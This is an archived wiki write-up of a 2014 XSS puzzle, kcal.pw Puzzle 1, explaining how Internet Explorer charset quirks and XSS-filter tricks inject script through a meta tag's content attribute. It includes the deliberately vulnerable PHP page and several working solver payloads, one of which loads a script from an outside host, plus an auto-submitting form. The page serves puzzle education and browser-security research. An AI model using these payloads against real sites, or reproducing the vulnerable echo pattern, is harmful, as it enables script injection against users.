Skip to content
This repository has been archived by the owner on Jul 4, 2023. It is now read-only.

Puzzle 1 on kcal.pw

cure53 edited this page Sep 17, 2014 · 1 revision

kcal.pw Puzzle 1

XSS Puzzle published in August 2014: http://kcal.pw/puzzle.php

Intro

So in early August I (The author of the challenge, @filedescriptor) have started a new XSS challenge series "Monday XSS puzzle". As a starter, we (@filedescriptor & @mramydnei) came up with an idea of the scenario where injection appears in a meta tag's content attribute. Throughout the whole challenge, over 100k attempts were received and only 5 bypassers were able to make it through after a couple of hints were given.

Setup

The scenario actually happens in real world quite often, yet the normal solution to it is trivial. In order to make your life harder, several additional restrictions were set:

  • XFO deny

Prevents potential charset inheritance issues

  • UTF-8 charset through <meta http-equiv

Side-tracker to make you believe it has nothing to deal with charset. In fact the intention is quite clear as should be picked for HTML5 document

  • htmlspecialchars

Prevents escaping from tag-attribute context

  • filtering plus sign(+)

Avoids trivial solution of UTF-7. Also the key to the answer

  • text before the injection point

Avoids trivial solutions like header refresh + javascript: combo

Solution

Once you understand the reasons behind those restrictions, it is easy to plan a strategy:

  1. Disabling default charset

This can only be done abusing IE XSS filter, and that's why it has to be with <meta http-equiv= instead of <meta charset=.

  1. Overriding charset

Because you need to generate tags, you need to use non-ASCII based charset or some charset quirks to achieve it. This can be done via charset attribute of meta afterwards

So far so good. Now here comes two branches, the hard way and the easy way(i.e. expected solution). @kinugawamasato and @orenhafif both managed to use some IBM charset to construct complicated payloads, which is amazing. I am not going to explain the hard way but I will share their solutions below. Now how about the easy way? Well, @kinugawamasato has published some mind-blowing charset related quirks, let's take a look: http://l0.cm/encodings/test1/. As you may notice, ISO-2022-JP under IE has some weird behaviors which can generate both less than sign (<) and greater than sign (>), which is a perfect candidate for the solution.

However, we soon meet another barrier: the specific sequence will trigger the XSS filter making it erase all content. This is where most solvers took a lot of time on. Surely there may be other ways to trick the XSS filter into accepting the sequence, but you don't need to figure that out. Remember the fact that plus sign (+) is filtered? We can simply obfuscate the shift-sequences using the plus sign. Say something like %1B$%2BB is introduced, the XSS filter won't recognize it as the rules cannot catch it.

That's it. The remaining part is to place a XSS vector to trigger alert(1).

Code

<?php header('X-Frame-Options: deny'); ?>
<!doctype html>
<html lang='en'>
<head>
    <meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
    <meta name='description' content='This is about <?php echo htmlspecialchars(str_replace('+', '', $_GET['xss'])); ?>'>
    <title>XSS Puzzle</title>
</head>
<body>
...
</body>
</html>

Solutions

@kinugawamasato PoC

;charset=cp1025'http-equiv='Content-Type' L���@�~[@���֥�~m~`JZ^NNm^mm~mNm^mmmm~mmNmm^mmmmmm~mmmmNmm^[JMOO}}N}}]
JmZNMOO}}N}}]JmmZNMOO}}N}}]JmmmmZNMO}}N}}]JmZNM[N}}]JmmmmmmZZMm]n&
<meta http-equiv=>

A second bypass submitted by @kinugawamasato requires user interaction to work:

;charset=cp1025'http-equiv='Content-Type' LÂ�Ĩ@֕Ɩä≕~m~`JZ^NNm^mm~mNm^mmmm~mmNmm^mmmmmm~mmmmNmm^[JMOO}}N}}]JmZNMOO}}N}}]JmmZNMOO}}N}}]
JmmmmZNMO}}N}}]JmZNM[N}}]JmmmmmmZZMm]nLɆفԅ@Ʉ~[n&<meta http-equiv=>

@orenhafif PoC

<body onload="document.forms(0).submit()"  >
<form method="post" action="http://kcal.pw/puzzle.php?xss=;charset=cp870'+http-equiv='content-type'nL%E2%A5%87%40%D6%95%2b%D4%96%E4%A2%85%D6%A5%C5%99~m~NO%7F%7F%5Emm~mNm%5Emmm~mmNmm%5Emmmm~mmmNm%5Emmmmm~mmmmNmm%5Emmmmmm~
mmmmmNm%5E%5B~%7F%E3%83%96%E3%95%A2%E3%99%A4%7F%5E%5B%5B~%7F%E3%A3%96%E3%99%81%E3%93%85%7F%5E%5BJmZN%5BJmmZN%5BJmmmZN%5BJmmmmZ%5E%5B%5B%5B~%5BJmZN%5BJmmZN%5BJmmmZN%5BJmmmmZN%5B%5BJmZN%5BJmmmmmZN%5BJmmmmmmZN%5BJmZN%5B%5BJmZN%5BJmmZN%5BJmmmmm
Z%5E%5B%5B%5B%5B~%5B%5BJmmmmZN%5B%5BJmmmmmZN%5B%5BJmmmmmmZN%5BJmmmmm
ZN%5B%5BJmZ%5EJZJ%5B%5B%5BZJ%5B%5B%5BZM%5B%5B%5B%5BN%7FM%7FNmN%7F%5D%7F%5DM%5Dn">
<input name="<meta+http-equiv='Content-Type' " value="" />
</form>

Oren Hafif's second bypass with expressions in IE 10 by using the IE7 document mode, It would also work with IE11 - but in Intranet zone only.

<meta content='ThisIsAbout=EmulateIE7' http-equiv='x-ua-compatible' style='width:expression(alert(1))' > 

@0x6D6172696F & @rafaybaloch PoC

<meta/http-equiv='charset=ISO-2022-JP$+B(+B$+B(+Bsvg/o+nload='alert(1)

@insertScript PoC

 'charset=ISO-2022-JP bla='<meta http-equiv=' $+B(+B$+B(+B
script src=//html5sec.org/test.js $+B(+B$+B(+B/script $+B(+B

@harupuxa PoC

' http-equiv='' onmo%2buseover='alert(1)&x=<meta name='description' content='This is about ' http-equiv=

This submission is particularly special as it is using a novel technique to bypass the security controls in place. The author of this vector simply injects an onmouseover attribute and a <meta> element. This causes the following things to happen:

  • The <meta> element on the page is being "deactivated" by the XSS filter
  • The deactivation turns the <meta> into a <me#a> element
  • That element is of course unknown to the browser - and isn't closed of course
  • That element is therefore now surrounding all other elements
  • Thereby the mousemove-event handler fires whenever the user moves the cursor anywhere on the page